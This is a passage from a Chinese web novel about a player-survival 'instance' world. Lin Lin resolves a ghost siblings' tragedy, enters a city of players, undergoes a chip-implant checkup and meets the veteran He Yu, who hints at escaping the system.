就在这时,林临的视线落在了她的脸上,浑浊的表象下,还有着名为悲伤的底色。
张玫,或者说徐然在悲伤。
这怎么可能,她为什么悲伤,难道是因为自己的离开?
林临绝对不会把自己放在这么重要的位置,但她本能地感觉,这个副本也许会有更好的解决方式。
思考片刻,她背靠着车门站起身来,走到窗户边,打开了窗户。
顿时,寒风灌入,带着淡淡的血腥味儿,那只瘦长的沾满了鲜血的鬼手无声地垂落在窗边,在规则的制约下,已经渐渐失去了实感。
林临伸出手,轻轻地捏住了那只鬼手。
“徐恒,徐恒一直很爱你。”
她将口袋中那张徐恒的亲笔信叠好,放进张玫的手心,在触碰到信纸的那一刻,徐然怨毒的眼神中闪
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过一丝茫然,接着下意识握紧了手掌。
不知何时,林临的身后,一只手突然出现,和她一起握住了徐然的手,林临会心一笑,将手放开。
徐恒的亡魂不知道等了多久,才在82号公交车上遇到自己的姐姐徐然。
因为偏执和怨恨,徐然被困在这个别墅里太久了,久到徐然变成现在这副可怕的样子,但好在姐弟两个终于相见了。
窗外的景色随着车速的提升逐渐消散,徐然的身影也变得透明。
这辆已经停运的公交车,搭载着玩家一趟又一趟地往返于现实世界与副本世界,将离别一次又一次复现,也将徐然的执念一次又一次地摧毁。
林临当然可以走,但徐然又要坠入新的副本,在副本中与怪物共存。
“停车!”
林临当即做出决定!
停下车,让徐然和徐恒想见,不要再让徐然带着怨恨进入新的循环了,她快步走到驾驶室,那里没有方向盘,没有油门,没有刹车,什么都没有。
怎么办,怎么办。
林临奋力拍打着驾驶室的玻璃,还是不起任何作用,冷静下来的她焦急地环视周围,终于发现一个红色的按钮——紧急制动。
掀开保护按钮的塑料罩,林临想也没想地拍了下去。
“吱嘎——!”
刺耳的刹车声响起,剧烈的颠簸险些将没有站稳的林临甩飞出去,窗外,混杂的斑驳色彩描绘出一个又一个光怪陆离的景象,昭示着现在正处于现实和副本的交界处。
林临深吸一口气,转身,用力拉开了车门。
冰冷的雨和阴寒的气息扑面而来。
张玫就站在车外几米远的地方,刚才猛然刹车,将它重重地甩飞在了地上,她垂落的双臂触及地面,尖锐的指甲蓄势待发,仿佛下一秒就要扑上来将她撕碎。
但林临没有退缩。她迎着那恐怖的目光,一步步走下车,雨水瞬间将她浇透。
“徐然。”她开口,声音在雨声中显得清晰而坚定。
张玫的身影几不可察地颤动了一下。
“我不是徐恒,但我看到了他想对你说的话。”林临强迫自己声音不要颤抖,“这是他留给你的。他记得你给他买的甜筒,记得你护着他挨的打,记得你们一起发传单流汗的夏天……他说,只要有姐姐,挨打也好,吃苦也好,都没关系。”
徐然眼中的猩红闪烁了一下,自眼底泛起一抹空洞。
她在理解这是什么意思,低头,看到手心那封陌生的手写信,徐然似乎反应过来了什么。
“他很爱你,你也很爱他,放下执念好吗?徐恒的死和你没有任何关系,你已经做到了你该做的一切,不要再苛责自己了。”
徐然扭动僵硬的脖子,顿时发出咔嚓咔嚓的声音,她看向站在车内的徐恒,徐恒也在看着她。
林临继续说道,每一个字都像重锤敲在徐然的心上,“他得病后,觉得自己拖累了你,所以他选择了离开,想让你解脱。”
“所以,好好活下去可以吗?不要再沉溺于过去了,这是徐恒对你的期许。”说完这些,林临回头看向徐恒,他不知什么时候已经站在了徐然的面前,伸出手拉住了徐然的手。
“真的不怪我吗?”
难以置信的呓语从唇齿间溢出,徐然脸上的癫狂逐渐褪去,那暴涨的鬼影逐渐缩回徐然的身体,扭曲的五官也显露出原本的相貌。
在徐恒的注视下,徐然开始放声大哭。
9. 并蒂(完)
与此同时,林临感到周围的空间开始剧烈波动,周遭扭曲的色彩正在以难以想象的速度快速融合,冰冷的机械音再次在她脑海中响起,却似乎带上了一丝不易察觉的复杂情绪:
“检测到副本世界根源消解,副本世界崩塌……”
“警告,请立刻离开副本世界。警告,请立刻离开副本世界……”
“玩家林临,请立即离开副本世界。”
林临最后看到的画面,是痛哭的徐然身影逐渐变得透明、模糊,而她的身上却散发着温暖柔和的光晕。
稀薄的、真实的,不同于副本世界中冰冷太阳的阳光,穿透逐渐消散的副本迷雾,照在了林临的身上。
林临笑了笑,转身上车。
机械音最终响起:
“副本‘姐弟之死’终结。”
“玩家林临,任务完成度:100%。”
“评级:S。”
“奖励结算中……”
“即将传送离开……”
在意识被抽离的最后一瞬,林临仿佛听到一声极轻的、带着哽咽的“谢谢”。
林临没说话,她已然陷入了沉睡。不知道过了多久,车停了,而后传来播报,“首次通关者下车。”
林临愣了会,反应过来这是在说自己,便赶忙站了起来,准备下车。
下车后,林临才是真的被震撼到了。
闪烁着耀眼银光的道路在脚下延展开来,一路通向面前那棵高耸入云的巨树,不过这树的颜色有些奇怪,泛着令人目眩的银色光泽。枝杈如同蛛网一般向着天空延展,高高的金属树干上,缀着无数闪烁着金属光泽的圆球,正很有节奏的上下浮动着。
林临抬起头入神地看着,正看着,一颗小球从高出飞来,在飞翔过程中逐渐缩小,最后稳稳当当落在林临的手中。
“恭喜no.2号玩家完成副本《姐弟》,是否领取奖励。”
“领取。”林临懵懵懂懂的。
“初级副本,无评级奖励,总计三十晶币,请收好。”
“好的。”林临摊开手,那些晶币便没入她的手掌心,白光闪烁过后,掌心空空如也。
机械声再度响起,“欢迎来到诡异空间,祝您玩的开心。”
话音落下,一阵失重感袭来,林临沿着脚下发光的笔直道路走去,走到道路尽头,看到一扇虚掩着的门,推开后,门后传来了热闹的喧嚣声。
门后,是一个崭新的世界。
垂眸,小贩们奔走叫喊,街道上神态自如的行人,抬眼,巨大的led荧幕悬挂在半空中,上面写着几行大字。
林临扫了一眼,大概是最受欢迎搭档评选报名开始、副本积分排行榜之类的,只是一眼,林临就移开了视线,她对这些事情不感兴趣。
此时的她还不知道,以后的自己会成为榜单的常客。
道路蜿蜒,林临走了很久,她的背后突然响起冰冷的机械音,“您所在的时空名为诡异空间,在这里,人们不用为生计奔波,只需要定期参加副本,完成任务即可获取奖励用于生活,听着是不是很不错。”
林临偏头,一颗金属圆球从背后激射而来,就在她交叉双手企图挡住它时,又稳稳当当地停在林临的面前。
“我是你的随行光脑,会陪伴你直到死去。”
进入新世界后,那一直跟随着林临的金属圆球声音都活泼了许多,它边飞边介绍,“no.2玩家,您有什么想知道的都可以问我。”
“不用为生计奔波的意思是,”林临打量着周围的环境,发现这世界和原来的世界并没有什么差别,硬要说的话,就是每个人的身后都跟着一个金属小球,“死在副本里就不用考虑生计了是吧?”
“当然啦。”小球声调拔高,“有得就有失嘛,怎么样怎么样,想不想报名参加副本?”
“有什么奖励?”
“副本开荒会得到一百晶币,获得s评级会获得双倍。”小球兴奋地抖动着,“奖品是不是很诱人?!”
看着面前激动到乱飞的小球,林临觉得自己有必要让它安静下来。
毕竟在副本里提心吊胆,又那样剧烈奔跑过一段时间,她的能量早就消耗殆尽了。
“你别太激动。”林临伸出手抓住小球向下一摁,让它火速冷静下来,“我饿得很,先找个地方吃饭吧。”
“也是哦。”小球摇晃着身体,“是我疏忽啦,那我们快去吃饭吧,吃完饭就可以参加副本了。”
她随便找了个餐馆坐下,拿过菜单计算了一下,发现三十晶币和外面三千块钱购买力不相上下。
“就这还好意思说不错?”林临嗤笑,“外面三千块钱可不要命。”
“嘿嘿。”
“嘿个屁啊!”
火速填报肚子,林临决定找个地方凑合凑合,随便拉了个路人问哪里有空房,却被路人劝诫。
“新手都有暂存点,可以免费住一个星期,你可以去副本中心看看。”
林临客气地摆摆手,“多谢多谢。”
送走了路人,她随手撕下路边电线杆上空房招租的告示,想拨打电话时,忽然发现自己没有手机。
可能是逃命的时候丢哪里去了。
没有手机,联系人都是个问题,不过她现在还没有要联系的人,所以手机不是什么必需品。
“哦对了。”光脑漂浮到林临的面前,一上一下有规律地浮动,“新玩家都要去副本中心报道,进行体质检测。”
“体质检测?”
“来到这里的人都是被深渊之神选中的人,体质检测,你可以把这个看做对选择结果的复查,你知道的,神也会出纰漏。”光脑摇头晃脑地在前面带路,“我记得以前就有一个,检查的时候才发现选错人了。”
“在哪里复查,我猜你们一定是搞错了,我只是一个普通人,我还有一兜子的文件和演示报告没有做,快点带路啊!”
“你不要太激动,我看你副本里表现得也不错嘛,应该是没有选错。”光脑道,“跟上。”
林临抬脚跟上,心里却在反复思考着光脑方才所说的那些话,不知道为什么,她总觉得这里很熟悉,就像回到故乡一样。
跟随光脑走了大概十几分钟,林临终于听到光脑清脆的声音,“到了。”
面前什么都没有,还是喧闹的街头巷尾,和攒动的人流。
“抬头!”
通体银色的建筑拔地而起,方正的楼体耸入云间,楼身上龙飞凤舞地写着——欢迎来到副本中心。
环绕在银色建筑物身侧的低空飞行物持续不断地发出嗡嗡声,接着拔地而起,冲向高空,这些飞行
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物的尾翼卷动气流,在天空中画出一道又一道银线,从林临的角度看去,这些银色丝线交织成蛛网,将所有来参加副本的玩家笼罩。
“愣着干嘛,赶紧进来。”
光脑在闸机口左右摇晃,摆闸应声而开,林临深深地看了一眼天空,而后毫不犹豫地跟上。
大厅里的人更多。
有些人意气风发,有些人垂头丧气,两股人流交织在一起,无数表情的脸庞在林临的面前不停闪过。
在副本中心的大厅正中央,硕大的光幕正在实时滚动播放着注意事项和近期的bug副本。
林临抬起头一目十行地看着,哪知光脑已经飞远。
“左转。”
光脑似乎很享受现在的自由时光,在副本中心横冲直撞,好在副本中心里的服务人员大多都是像它这样的灵敏机器人,所以根本不用担心出现撞车。但跟在后面的林临考虑的就很多了,在无数次急刹后,林临大喊一声,“回来!”
她本不指望这句话奏效,但下一秒,那还在猛冲的光脑被拦截,接着如同一颗被发射的橄榄球,以不可思议的角度倒飞回来,分毫不差地停留在林临的掌心。
“原来我可以控制你。”林临挑眉,好似在说欺负新人是吧?
光脑道,“嘿嘿,难道你不知道?”
如果光脑有表情,那它现在一定满脸被抓包的尴尬。
“好好带路。”林临吩咐。
这次的光脑保持着恰好的距离,左转之后,沿着指示路标直行,几分钟后,一人一球来到电梯前。
副本工作人员正端着一沓高过他们的文件从楼上下来,林临闪身让路,光脑就这么紧紧吸附在她的肩头,不敢乱用。
林临斜一眼光脑,给它一个赞许的眼神。
很好,继续保持。
“三楼,对,摁下去,没错,我们完成了一个壮举。”但显然,夸早了,光脑一进电梯就恢复摇头晃脑的状态,“你很聪明,我觉得你一定可以留下,拜托拜托,我已经被关了几十年了。”
林临疑惑:“几十年?”
“你难道不知道,我们只服务于固定的编号,人死了之后光脑就会封存,而且这些编号只能由……”光脑及时止住了话,它突然意识到面前的人也许真的什么都不知道。
“什么意思?说下去。”林临敏锐地意识到,也许在她是如何被选中的这件事上,面前的光脑知道些什么。
但可惜的是,面前的光脑肉眼可见地萎靡下去,当林临再次询问的时候,它头顶的指示灯干脆熄灭,径直摔落下去,林临忙伸出手护住它,才让它没有摔个粉身碎骨。
“对不起,我暂无权限回答您所询问的事项。”
“该光脑重启中……”
无法,林临只好抱着它,等待着电梯上升。
电梯没有声音,也没有想象中的失重感,趁电梯升起的间隙,她终于得空,居高临下地观察着整个副本中心大厅。
副本中心的大厅形似现实世界的候车大厅,仔细观察,还真是贴切,玩家需要在个人光脑的指引下进行副本选择,继而选择休息室——等候你的队友,或者是选择候车室——玩家需要坐摆渡车才能穿越到副本中。
“叮”一声,到了。
电梯门开启,林临不免睁大了眼睛。
10. 副本中心
·一小时前
新手巴士的下车点,一群人正翘首以盼着什么,引得刚下车一批的新人频频回头。
这些人似乎有着屏蔽别人视线的能力,完全无视大家的注视,自顾自地交流着,“瑜哥马上就到,听说他这次至少是b级副本,到时候可要问问他,这个副本刺不刺激,惊不惊喜。”
“你看看他们,没见过世面的新人,一个个抬着头不知道张望什么。”一人指着站在街另一侧茫然失措的新手玩家,有些不客气地点评着,“看起来呆呆傻傻的,去了副本也是必死无疑。”
“慎言,嘴里积德。”
随着“叮”一声响,下一辆巴士到站,几人立刻停止交谈,全神贯注地看着下车的每一个人,直到看到那一抹熟悉的身影。
他的身前,还站着一个有些迷茫的女生,这女生长得颇为清秀,只是双眸黑的过分,显得过分沉静,上身穿着最普通不过的t恤衫,劲瘦纤长的小腿被牛仔裤包裹着,足蹬一双运动鞋,看起来学生气十足。
她站在原地转了个圈,似乎在感慨副本世界的繁华,这样的新人他们见多了,不过是长相出众一些,迟早还是要死的。
何瑜的视线同样落在面前的女孩头顶,脑子里想的是这样一番话,对什么都保持好奇的新人玩家,是死亡率最高的。
“麻烦让一下,我要下车。”
“哦哦!抱歉!”女孩应声,然后跳下站台,快走几步很快融入熙熙攘攘的人群。
何瑜一下车就看到了站在街对面的朋友们,大步流星地走过去,他一一打招呼,“你们怎么样?”
“我们还好呀!”
“恭喜我瑜哥,这么快就首通副本,看起来精神还很好的样子。”
“瑜哥,你这次通过的副本叫什么名字,是什么等级?”
何瑜回答,“b+,一个小副本而已,和我们平时模拟的差远了。”
听到何瑜说自己的副本是b+,有人顿时羡慕起来,“那也很厉害了,我们一进去才只是c或者d级,有时候找找线索就通关了,一点刺激的感觉都没有。”
寻找刺激。
何瑜眸光闪动,心里感慨万千,对,这些人参加副本世界的究极目的就是给自己一潭死水的生活寻找点刺激,至于刺激过后会不会死,不在他们的考虑范围之内。
抬手敲了个爆栗,何瑜无奈地说,“你可以去申请参加b+副本,但是自己作死不要带上别人,ok吗?”
“嘿嘿,我都是野排,从不组队,带着那些新手玩家过副本可太累了。”
几人正说着,其中一个趔趄差点摔倒在何瑜的面前,何瑜眼疾手快抓住他后,才看到这人背后站着正挠着头很不好意思的何瑾。
何瑾——何瑜的手足兄弟,何瑜是哥哥,何瑾是弟弟,通过副本的时间却恰恰相反,何瑾通过的是c级探秘副本,是个已经下了三次副本的老人了。何瑜通过的是b+副本,现在还是个刚通过新手关卡的新人。
“瑜哥,我带了个重磅消息,不知道你想不想知道?”
“什么重磅消息?”
何瑾还有个外号,叫百事通,总是能得到最新消息,所以当他说出重磅消息四个字的时候,就连差点摔倒在地上的那人都凑了上来。
何瑾道,“编号002被启用了。”
“002启用,什么意思?”
“什么?!”
“别光震惊,给哥们说说编号002是什么意思?”
知道002是什么的老玩家周身一颤,似乎听到了什么了不得的消息,而新玩家根本不知道002是什么,拽着兄弟的领口让他赶紧解释。
何瑾不卖关子,飞快地说,“每个人都有编号,你们看看自己的编号。”
几人赶忙拿出自己的ID卡,他们的编号大多都是五位数,少部分是四位数,“这有什么区别?”
何瑜不做声,他自然知道002代表着什么.
“也许你们听过这样一个传言,深渊之树上住着真正的原住民,他们创造了深渊之树上的结晶,并根据创造结晶的数量赋予原住民身份编号,其中,创造副本数量最多的,也是副本世界中拥有至高权限的001,邀请我们来到这里的雨。”
有人问,“为什么我们只听说过雨?”
何瑾答,“因为雨的副本杀了其他人。”
“起初,我们都以为这些编号会随着原住民的死去而永久消失,但大家都想错了,这些编号只是暂时被封存,等到这些原住民的传承者被选择,回到副本的那一天,这些编号又会重新活跃。”
“002已经启封,这不正说明这些原住民回来了,他们也许要在副本世界里搅个天翻地覆!”何瑾在进入副本之前,是个网文爱好者,喜欢用些极为夸张的词汇,但何瑜知道,这次的天翻地覆四个字,并非是危言耸听。
而是即将要发生的事情。
他略抬起眼,视线跃过仍在推搡嬉笑的众人,远远地落在那棵,被迷雾所遮蔽的深渊之树上,树身闪烁时,便有无数结晶坠落于副本世界,于是一批又一批的人坐上摆渡车,开启新的副本旅程。
说实在的,他早就厌倦这样的生活了,但看着身边这群鲜活的,对副本仍然存有幻想的年轻人们,他又不得不打起精神。
掌心一亮,微弱的刺痛感唤回何瑜的思绪,是光脑启动了。
他点开屏幕,查看光脑传来的消息——
“副本大厅集合。”
言简意赅。
何瑜知道这是让他现在就去,于是告别了朋友们,又反复叮嘱,“你们最好是先去探秘本,不要随意下本,等我回来再说。”
“知道了瑜哥,我们听你的。”
在得到答复后,何瑜看向何瑾,“何瑾,你继续关注着002启用的事情,最好找到 002是谁。”
002很重要,那个曾经和雨并肩创立了副本世界的人,突然回来,会给这个世界带来多大的变化,大家都无法估量,001会再次抹杀002吗,这也是个难以回答的问题。
副本中心离这里很近,他走着过去就行,告别其他人,何瑜按照光脑指示来到副本中心,刷开闸机走进去。
跟随指引来到电梯前,何瑜发现这一批新玩家数量居然不少。
“麻烦借过一下。”
正想着,有人突然靠了过来,何瑜闪身让开,走到电梯角落的位置站定。
说话这人看模样在二十多岁,侧脸冷峻美艳,打扮张扬,一副生人勿进的模样,垂落在身侧的左手微微颤抖着,她身上有伤,还没有来得及处理。
她是002吗?
何瑜在心里打了个问号,接着又陆陆续续上来几人,大多相貌平平,何瑜视线一一扫过,觉得这里面大概率没有002。
电梯里站满了人,于是叮地一声上升,何瑜不自然地背靠着电梯墙壁。
来之前,光脑已经告诉了大家
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此行的目的,所以到指定楼层后,大家沉默地站成两排,在工作人员的指引下进行登记,到何瑜的时候,他清晰地看到前面各位的编号、姓名和通过副本。
这是专属于011的权限,他能随意调用在他之后的玩家的信息。
没停顿,他签署自己名字后,将登记名册快速传递给了后面那个人。
就在这时,电梯再度响起,大家不约而同地回头——
被这么多人,这么多双眼睛同时盯着,林临不免有些不好意思,下一秒,她就知道为什么这么多人看向自己。
工作人员从工作室走出来,看到林临后宣布,“人都到齐了,大家去领取编码牌吧。”
站在队伍最末尾,林临有些无所适从,她本就不善与人交际,好在有人主动打开局面,“你好。”左前方出现一张俊脸,笑吟吟的,很亲和,“你是在副本里被耽搁了吗?怎么来的这么晚?”
“也没有……”
“前方有登记表,你去找工作人员领取就行。”前方传来声音,是个烫着大波浪,染着红唇的女生,“不要磨蹭,抓紧时间。”
她垂落在身侧的手颤抖地更厉害,显然是忍耐到了极限。
林临感谢。
“她身上有伤,情绪激动了一些,你不要介意。”那张俊脸不知何时走到队伍末尾,来到林临的身侧,深呼吸几下,再开口时就像变了个人,“交个朋友?我叫何瑜,何就是为何的何,瑜是握瑾怀瑜的那个瑜。”
他用胳膊肘轻轻碰一下林临,“也是周瑜的瑜,你叫什么名字?”
“林临。”
“挺好,你爸爸给你取的?”何瑾很健谈,此刻的何瑜正在回忆着他的交友方式,继而伪装自己,“我的名字就是爸爸取的,我爸很喜欢看三国,三国,你看过吧,我觉得我们小年轻应该都看过。”
看何瑜侃侃而谈的样子,林临觉得有必要制止他,于是与何瑜保持距离,低声说,“抱歉,我这个人喜欢安静。”
何瑜没觉得有什么,因为越是这个时候,何瑾越会迎难而上,作为扮演者的何瑜,他也要保持一贯作风,“这么巧,我也喜欢安静,我安静的时候喜欢看书……”
“何瑜!”
“到!”何瑜回头看向林临,扬了扬眉毛,“等我复查出来继续和你说,等我,等我啊!”说完一溜烟跑了。
终于可以安静会儿了,林临在心里长叹一口气。
“你是林临。”熟悉的声音和陌生的气味,很清淡的那种香,一股雪松味儿,丝丝缕缕地钻进人的鼻腔,“我叫苏影,苏州的苏,影子的影。”
林临抬头,见刚才那位大波浪站在自己面前,面色淡淡的。
“我刚才在里面看到你的名字了,你叫林临,通关的副本是a级的单人本。”女生伸出手,白嫩的手掌上横亘着不同程度的伤口,有的还在渗血,“刚才跟你说话的方式不太对,抱歉,我可以和你做朋友吗?”
“嗯。”林临不知道该拒绝还是该答应,她难以处理这么多突如其来的人际交往。
“我就当你答应了,留个联系方式,改天我们一起下副本。”两人的光脑贴在一起,算是交换了联系方式,接着,苏影淡淡地说,“我去隔壁处理一下创口,回见。”
林临点点头,光脑投屏显示,冷酷小猫希望通过您的好友申请。
冷酷小猫吗?这和本人有点不太像吧……
正感慨着,里面叫到林临的名字。
11. 复检
在工作人员的带领下,林临走进复查室。
隔壁,刚才新交的朋友正全神贯注地盯着屏幕,好像在完成某项测试。
“别紧张。”工作人员输入林临的名字,“您通过的是a级副本,一般来说,能够通过a级副本,不会存在误判的,您不用担心。”
“不会误判?我是被选中的人?”林临眼前一黑,“你们没搞错吧,我就是个普通人,怎么会选中?”
“不会错的,而且您以s级评级通过a级副本,已经被列为副本世界的种子选手了,所以今天把您叫过来,就是例行公事而已。”
工作人员双手交叠放在身前,脸上挂着公式化的微笑,“如果您准备就绪了,我们将会为您做复检。”
他侧身伸出手掌,做了个邀请的动作,“麻烦您脱掉衣服,躺在床上,等待检查。”
林临照做。
她脱掉身上的衣服,叠好放在一边的座椅上,然后轻盈地爬上复检所用的病床,调转身体趴在床上。
这床的触感很微妙,在林临躺下的一瞬间,这特殊的材质像涌动的流水一般,将她轻柔地完全包裹起来。
此刻的她彷佛置身于泳池之中,身体随着水波轻轻摇曳,思绪也开始飘摇。
如果不是知道这里是复检室,她真的会就此睡去,直到自然醒来。
只听到很轻的脚步声,有人进来了,接着林临的脖颈一凉,“开始检查了。”
冰凉的硅胶触感在脊背上游移,林临能明显感觉到工作人员在自己的脊背上停顿着,似乎在摸索着什么,最终,她的脖颈处传来一阵凉意,像是手术刀抵在皮肤上的温度,随之而来的是工作人员轻柔的安抚。
手术刀破开皮肉的声音,这次完全可以确认了,背后的工作人员似乎在切开她的脖颈,想要找到什么东西!
液体顺着脖颈侧面弧度流下来,明明感受到有人在切开自己的身体,林临的大脑却没有任何疼痛反馈,如果不是清楚地觉察到液体流落,她恐怕会以为对方在给自己按摩。
有什么东西被放进来了。
林临下意识想爬起来,却被床阻止。
“这是必要的检查程序。”工作人员嘴上说着,却加快了手上工作的速度,在林临剧烈挣扎之前快速完成了植入,“好了您可以坐起来了。”
林临坐起来,第一时间摸向自己的后颈,那里有块区域冰冰凉凉的,摸起来四四方方,像是一个小巧的芯片。
周围的皮肤很干净,看来是工作人员于百忙之中做了清洁。
她看向侧面,工作人员甚至为她准备了新衣服,林临穿好衣服推开门,看到工作人员已经在外面的复检办公室等着了,脸上仍然挂着公式化的笑容,“您的复检已经完成,还有什么要问的吗?”
“这芯片怎么回事?”
“副本世界的人,都要植入芯片以便管理,请见谅。还有其他的问题吗?”
林临没犹豫,“雨是谁?”
“是发现这个世界的人。”
“为什么邀请我们来到这个世界。”
“雨的事情我们无权过问。”
超越权限,林临开启下一个问题,“雨是怎么选人的?光脑所说的编号是固定的,什么意思。”说话间,林临偏了一下头,捕捉到电脑上的文字。
电脑屏幕上罗列着名单,有十五个人,其中,她的名字很突兀,仅有短短五个字符,在一众长到一眼看不到头的数字编码中很扎眼。
“这些别人能看到吗?”
工作人员答,“不能,您的权限要高于其他人,他们无法看到您的编号,只能看到您的名字和通过副本。”
“行,回答我的问题,固定编号,是什么意思?”
工作人员的脑袋发出僵硬的,长久失修的吱呦声,接着,他的机械头颅悄然垂落,瞳孔变为灰白色,“您的问题已超出管理权限。”
“我没什么问的了。”
灰白色的瞳孔亮起,“请您为我的工作态度打分。”
林临很想给个零分,几乎问的所有问题都超出权限,但看到工作人员那满分的微笑,还是很老好人地打了个4.5分,小扣零点五分,是专属于林临的窝囊。
出门右拐,是休息室,林临进去的时候,何瑜不在,苏影还在。
看到林临进门,苏影率先举起了手,十分生涩地打了个招呼,“林临,坐这?”
“好的。”林临不太擅长拒绝别人的好意,于是从善如流地坐下。
苏影旁边坐着两个人,正热火朝天地聊着天,听到他们在讨论刚通关的副本。
“额。”苏影打破僵局。
“怎么?”
苏影:“你现在有住处吗?如果没有的话,我可以给你介绍个地方。”得到否定答复后,苏影在包里翻了一会儿,拿出一张暂住证。
“但是你要先领取这个。你出门右转的第一个房间,进去之后告诉她,你要领取一张暂住证,然后就可以去暂存点休息。”
“但是要记得,暂住证只提供一周的免费住宿。”
林临点点头,谢过苏影,“谢谢。”
苏影摆手,“你去吧,我要走了,有机会再见。”
说有机会再见,茫茫人海,再见的机会很是渺茫。
林临想过会再见,但没想过再见会来的这么快。
在林临领取了暂住证,并开始和暂存点的高级密码门锁作斗争的时候,一只手突然伸了过来,手指轻盈地拨动显示屏,而后对准暂住证上,输入数字。
“谢谢,这个门锁我有点无法驾……苏影?”
林临有些瞠目结舌,实在想不到刚才的一句客套话在此刻成为现实。
看着林临惊呆的样子,苏影倒是很淡定,“因为同一批进入副本世界的人,会分配在同一个暂存点,何瑜也在。”
话音落下,何瑜的头已经从苏影的背后冒出来了,“你好,林临,我出门的时候发现你已经走掉了,还伤心了好大一会儿呢,苏影你踩到我的脚了。”
对于何瑜这种无厘头的表现方式,林临敬谢不敏,并同表演者保持一定距离,直觉告诉她,何瑜并不是一个好相处的人,或者说,何瑜绝非看起来那么简单。
“碰到你们真好,说来也巧,我正愁没有搭档,你们最近有没有档期,我想预约一下,苏影,你怎么样?”何瑜笑嘻嘻地站在两人中间,他长得俊秀行事作风又没架子,天然地拉近了他与别人的距离。
不得不说,他实在是受到老天眷顾,能生的这么一副好皮囊。
“没有,我先回去了,林临。”短暂地打过招呼,苏影打开门回到
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房间。
现在只剩下林临和何瑜。
林临抵住门,抬起脸看向何瑜,何瑜歪了歪头,“你呢?”
“现在不好说,过几天再说吧。”贸然答应一个陌生人一起下副本,这不是什么好习惯,林临想了想还是没有一口拒绝,而是稍微留了些余地,“我们有联系方式,等我有空的时候会喊你。”
“不打算让我进去?或者来我的住处,就在隔壁,我想坐着慢慢和你说,说完你再决定要不要和我一起。”
何瑜看起来很自信。
林临看了一眼走廊上高悬着的监控器,颔首表示同意。
于是何瑜利索地转向对面的房间,在林临惊讶的视线中打开门,“我就在你对面。”
蹲在门口褪下鞋袜,他又从鞋柜里取出一双天蓝色的拖鞋,回过头问林临,“你需要吗?”
“啊,我……”林临不太好意思地挠挠头,“给我一双吧。”
“好。”
何瑜低下头又去取另一双拖鞋,从林临的角度看去,刚好能看到他半截脖颈,和垂落在一旁的碎发。
两双拖鞋,一个暂住的住处,需要两双拖鞋吗?
林临礼貌地别开眼,终于,何瑜找到了藏在鞋柜最深处的拖鞋,回身递给林临,“这是全新的,你应该不会介意的对吧,换好鞋快进来吧。”他指了指餐桌上打包来的快餐,“我正好在楼下买了东西吃,两人份。”
说完这些,他特意停顿一下,等林临跟上。
一切都收拾好,何瑜招呼林临坐下,而后径直走向饮水机,“你先坐下,我去给你倒杯水,喜欢喝什么?”
“白水吧,白水。”
“好。”何瑜接了杯白开水递给林临,“小心烫。”
林临接过,捧了一会儿后并没有喝,而是不经意地将水杯放在一边,等着对方开口。
这是一个心里博弈的过程,两个人面对面坐着,就看谁先承受不住压力先开口。
虽然不知道何瑜所说的先谈谈是什么意思,但林临敏锐地觉察到了他身上的气压在逐渐变低,何瑜正在逐渐变成一个她不认识的人,或者说何瑜正在褪去伪装,露出真实的自己。
终于,何瑜清了清嗓子,曲起手指敲了敲桌面,“我们、我们聊聊?”
“好。”林临把水杯放在一边,准备耐心聆听。
何瑜:“你是哪里人?”
“s省的人,你呢?”
“我是h省的,你去过h省没有,我们那里人文关怀做的不错,应届生身份还有毕业津贴可以领取,看你的长相,你应该刚毕业?”何瑜自顾自的说了一大堆,“你看着年纪不大,二十多岁?方便透露年龄吗?”
林临觉得何瑜在浪费时间。
她站起身,“如果没有别的事情,我想我该走了。”
就在林临的手即将触碰到门锁的那一刻,何瑜突然站起身,没头没脑地抛出一句,“你想家吗?”
“什么意思?”
林临转身,何瑜的状态和方才截然不同,眉眼间充斥着挣扎与懊恼,也许是下定了某种决心,他双唇颤抖着说出这句话,你想家吗?
何瑜长舒了口气,又恢复了刚才的模样,“那我就直说了,你们中,也许有人是被邀请的,但我不一样,我是主动加入副本游戏的。”
12. 群狼环伺
何瑜长舒了口气,又恢复了刚才的模样,“那我就直说了,你们中,也许有人是被邀请的,但我不一样,我是主动加入副本游戏的。”
“那天晚上,我在网上查询都市诡异传说时,无意间点进了一个怪谈网站,在这个网站上,许多人讨论着同一个词,就是深渊之树,传言中,深渊之树高耸入云,树干上生长着无数诡异传说,而人类,就聚集在深渊之树的根部,靠捡拾诡异怪谈的碎片活着。”
“也许你觉得这很可笑,但他们讨论的热火朝天,我一开始是不信的,直到失踪的人越来越多,并且有人精准预测出了下一个失踪的人,我觉得他们说的是真的。”
“所以我找到了消息的源头,发现是一个早就无人更新的帖子,上面标注着进入深渊之树的路径。”
林临打断他,“所以你就进来了。”
“对,我顺着路径来到这里,找到了在当年帖子的讨论者,但可惜的是,他们有些已经死在副本中了。”何瑜表情逐渐凝重,“那个时候我才知道,原来所有的事情都是真的,无论是我还是他们,都无法离开这里。”
何瑜打了个响指,指尖凭空出现一枚晶币,“这些晶币就是那些被攻破的副本碎片,以前,这里人很少,大家只需要等待诡异碎片掉落,就可以勉强维持生计,但现在不一样了,来这里的人越来越多,晶币不够用了,所以我们必须去副本里搏命。”
“等等,你来这里多久了。”林临突然意识到对方并非新人。
何瑜扬起唇角,接着俯身慢慢逼近林临,明明是一张赏心悦目的脸,却因为接下来说出的话,凭空多出几分恐怖,“我在这里已经活了十几年了。”
何瑜是原住民。
“你认识雨?”
“他就是发帖人。”
“怎么才能见到他,我要离开这里。”林临语气笃定。
何瑜道,“雨没办法让你离开这里,但——”他拖长了尾音,带了些戏耍的意味,“但最近,事情有了转机。”
“由于碎片不够分,所以我们进入副本,以获取更多的,所谓的晶币来养活自己,就在上个星期,我们之中的某个人失联了。”
林临问,“死了?”
“没有你想的那么简单,她失联后,前辈们就去查询编号,发现她的编号还存在着,而且根据位置显示,她就在某个副本中。”
“那就是副本还没有破解。”
何瑜从口袋中掏出一张照片,递给了林临,照片上的人生得一张娃娃脸,就这么可爱地笑着,圆圆的眼睛荡漾开细微的纹路,像两片宽而莹润的叶子。
“她参加的那个副本卡在了百分之八十九,一直没有动,我们怀疑她逃逸了。”
“逃逸是什么意思。”
“你见过交通事故没有,一辆车逃离事故现场,不见踪迹,而后警察全力追捕,将她缉拿归案。”何瑜笑笑,“深渊之树上的副本并行不悖,但有个人发现了副本中的bug,并借助bug,从一个副本跳跃到了另一个副本,这导致副本事故,她趁乱逃离了现场,这就叫逃逸。”
“你是说……”
“也许她回到了现实世界。”何瑜的眼睛很亮,亮到不可思议。
“需要我做什么?”林临没躲闪,迎着何瑜的目光看去,见他浓密睫毛掩映下的漆黑眼中震颤了些许,而后错开了视线。
